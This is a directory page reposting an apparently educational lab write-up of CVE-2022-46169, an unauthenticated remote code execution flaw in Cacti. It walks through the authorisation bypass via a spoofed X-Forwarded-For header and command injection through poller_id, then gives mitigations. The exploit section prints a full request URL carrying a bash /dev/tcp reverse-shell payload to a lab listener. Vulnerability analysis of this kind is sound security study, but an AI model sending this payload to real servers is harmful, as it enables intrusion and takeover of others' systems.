Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-46169 | Kitploit
Tools/GitHubGitHub/hpt-intern-task-submission/cve-2022-46169
Vulnerability AnalysisExploitationWeb Application ExploitationCommand and ControlAuthenticationLearning & EducationLabs & Practice
GitHubhpt-intern-task-submission/cve-2022-46169

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2022-46169

View Repository
2 years agoNot yet reviewed

CVE-2022-46169 - Unauthenticated Remote Code Execution in Cacti

What is Cacti and its vulnerability?

Cacti is an open-source operational monitoring tool written in PHP, MySQL/MariaDB, which provides a friendly interface.

The vulnerability was found in 2022 which affected all versions before 1.2.23. This bug requires a chain of authentication bypass and command injection to achieve RCE (Remote Code Execution).

Lab Setup

In this CVE analysis, I will run Cacti in Docker and use VSCode for code analysis. The set up will be quite simple, first we need a docker-compose.yaml file to create a new environment. Below is the docker-compose.yaml file:

root@kitploit:~
version: '2'

services:

  

cacti:

image: "smcline06/cacti"

container_name: cacti

domainname: example.com

hostname: localhost

ports:

- "8088:80"

environment:

- DB_NAME=cacti_master

- DB_USER=cactiuser

- DB_PASS=cactipassword

- DB_HOST=db

- DB_PORT=3306

- DB_ROOT_PASS=rootpassword

- INITIALIZE_DB=1

- TZ=America/Los_Angeles

volumes:

- cacti-data:/cacti

- cacti-spine:/spine

- cacti-backups:/backups

links:

- db

  

db:

image: "mariadb:10.3"

container_name: cacti_db

domainname: example.com

hostname: db

ports:

- "3307:3306"  # Change host port to 3307

command:

- mysqld

- --character-set-server=utf8mb4

- --collation-server=utf8mb4_unicode_ci

- --max_connections=200

- --max_heap_table_size=128M

- --max_allowed_packet=32M

- --tmp_table_size=128M

- --join_buffer_size=128M

- --innodb_buffer_pool_size=1G

- --innodb_doublewrite=ON

- --innodb_flush_log_at_timeout=3

- --innodb_read_io_threads=32

- --innodb_write_io_threads=16

- --innodb_buffer_pool_instances=9

- --innodb_file_format=Barracuda

- --innodb_large_prefix=1

- --innodb_io_capacity=5000

- --innodb_io_capacity_max=10000

environment:

- MYSQL_ROOT_PASSWORD=User@123

- TZ=America/Los_Angeles

volumes:

- cacti-db:/var/lib/mysql

  

volumes:

cacti-db:

cacti-data:

cacti-spine:

cacti-backups:

After creating the file, open command line and navigate to the file directory, run the command docker-compose up -d, open browser and access to localhost:8088. First you will see a log in page:

login_page

The default credential is admin/admin. The process of setting up will be presented by photos below:

new_password

Create new password

1 2 1 1 1 1 1 1 1 1 1

After finishing installation, we will have a console screen like this

console

Now let's start to analyze the vulnerability. As we know that, the vulnerable file is remote_agent.php, so we'll try to access to file on browser

remote_agent

It says that we are not authorized to access the file. It's time to view the source code of the file

remote_client_authorized

It checks by calling the remote_client_authorized() function. Let's dive deeply into that function.

remote_client_authorized_dive_deep

First, the server get our IP address via the get_client_addr() function and then use the gethostbyaddr() function to translate our IP to hostname. The server then fetch all the pollers available in poller table and compare each poller's hostname with your hostname translated from the IP address. There's a bypass here, inside the get_client_addr():

get_client_addr

We can see that the server will retrieve the IP address via one of the header:

root@kitploit:~
-   X-Forwarded-For
-   X-Client-IP
-   X-Real-IP
-   X-ProxyUser-Ip
-   CF-Connecting-IP
-   True-Client-IP
-   HTTP_X_FORWARDED
-   HTTP_X_FORWARDED_FOR
-   HTTP_X_CLUSTER_CLIENT_IP
-   HTTP_FORWARDED_FOR
-   HTTP_FORWARDED
-   HTTP_CLIENT_IP
-   REMOTE_ADDR

This allow us to fully control the value of our IP address. In this case, we can use the X-Forwarded-For header to spoofed our IP to a valid IP, which allow us to bypass authorization. X-Forwarded-For header is often used to identify the original IP address if there's a proxy or load balancer sit between the client and the server. However, this will be an attack surface for attackers to exploit. Because we run cacti locally, we need to specify an IP address that will be translated to localhost, which is 127.0.0.1.

IP_spoofed

Looks good now right? However, it's just the beginning bros!!! We need more code analysis to successfully injection command and gain remote code execution. After finishing authentication, the program will execute this code

switch_case_action

The server will get the action parameter and step into a Switch/Case. if the value of action is pollerdata, the program will call the poll_for_data(). This function is vulnerable to command injection, so we will carefully analyze it.

poll_for_data

The function will take 3 parameters $local_data_ids, $host_id, $poller_id received from user's request parameters local_data_ids, host_id, poller_id. Notice the difference in the function to retrieve the parameters, one is get_filter_request_var and other is get_nfilter_request_var, there is one more n in the last function, we will discuss more about this. After that, the program will check if we supply the local_data_ids parameter and will loop each one to retrieve data from the poller_item table base on local_data_ids and host_id. The query will be saved in $items.

proc_open

If the query returns with results, the program will loop through each $item in $items and step in a Switch/Case statement which takes $item['action'] as Switch value. There're many cases but the case we should investigate is the POLLER_ACTION_SCRIPT_PHP which means action equals to 2.

POLLER_ACTION_SCRIPT_PHP

Once action is 2, the program will execute the proc_open() command, which is quite similar to exec(), and take $poller_id as one of the variables, which is fully controlled by us. For better visualization, we should access to the database to retrieve the poller_item table's content to see how it looks like.

poller_item_table

From the table, we see that we have to brute-force the local_data_id to get the poller having action = 2, this will be applied in real-world exploitation. By default, cacti doesn't have any poller having action = 2, yet this can be done by adding new templates like device

create_device_1

create_device_2

create_device_3

After create new device, we access the poller_item table again and see that there's a new poller with action = 2

create_device_4

Now let's review the whole process again. To successfully exploit the bug, we need to first bypass the authentication by adding X-Forwarded-For header. The next step is to provide action parameter to polldata, host_id =1, local_data_ids equals to the corresponding poller having action =2, in this case local_data_ids = 6, and most importantly, the poller_id parameter is where we will injection command to obtain remote code execution. There use of get_nfilter_request_var() make this parameter vulnerable. While get_filter_request_var only accepts integer, get_nfilter_request_var allow us to enter string. In addition, there is no input validation for this parameter, which leads to a full command injection.

Let's run a Kali Linux server listening for requests.

kali

We need kali's IP address and port which runs the server to build the payload, in this case are 172.22.119.130 and netcat's running on port 4444

Now let's open Burpsuite and start to exploit, the payload used here is ;bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.22.119.130%2F4444%200%3E%261. The payload use a ; to end the previous command and execute a new command. the rest is a simply command to get reverse shell. Combine all together, we have the full url: localhost:8088/cacti/remote_agent.php?action=polldata&local_data_ids[]=6&host_id=1&poller_id=;bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.22.119.130%2F4444%200%3E%261

exploit_1

exploit_2

Bump!!! We have successfully exploited the bug. The process and explanation is quite long but in general, this is not a very complicated vulnerability.

Mitigation

The root cause of this vulnerability is the use of get_nfilter_request_var() function for poller_id parameter. We can change it to get_filter_request_var() to only accept integer

mitigation_1

We can add another security layer by sanitize the value of poller_id by using the cacti_escapeshellarg() function. These practice will ensure that only valid input passed into poller_id before it is used for further steps.

mitigation_2

This is the end of the analysis. Hope you will learn something meaningful. As we can see that, vulnerability often takes place in user's input. Therefore, it is so important that we should apply proper input validation in order to secure our server. Remote Code Execution is so tremendous, but there's still a way to prevent it!!! Happy hacking!

Reference

https://viblo.asia/p/phan-tich-lo-hong-unauthenticated-command-injection-cve-2022-46169-trong-phan-mem-cacti-MkNLrOK8VgA https://www.vicarius.io/vsociety/posts/unauthenticated-rce-in-cacti-cve-2022-46169

Download Tool